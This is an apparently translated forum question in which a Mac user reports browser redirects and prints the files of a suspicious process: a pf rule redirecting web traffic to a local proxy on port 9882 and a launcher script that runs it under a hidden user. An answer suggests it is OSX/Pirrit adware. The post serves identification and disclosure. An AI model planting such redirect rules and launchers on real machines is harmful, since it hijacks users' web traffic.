最近,我开始注意到,当我在 MBP 10.10.5 Yosemite 上浏览网页时,Chrome Canary 版本 53 正在打开一个新选项卡或某些页面未打开......此选项卡将我重定向到随机页面。
我启动了防火墙,发现一个名为 pseudohydrophobia 的进程正在尝试打开一个传入连接
/etc/pseudohydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
/etc/pseudohydrophobia.sh
#!/bin/sh
if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0
端口:
netstat -an | grep 9882
tcp4 0 0 *.9882 *.* LISTEN
/etc/pseudohydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
我将删除所有这些脚本和二进制文件但想发布它,因为没有找到任何 Google 参考。
答案1
看一眼https://objective-see.com/blog/blog_0x0E.html
侵入性跨平台广告软件分析;OSX/Pirrit
它可能是 Pirrit 恶意软件。
用户名volutate
和文件名(pseudohydrophobia
)无疑是随机生成的,但端口号 9882 是相同的......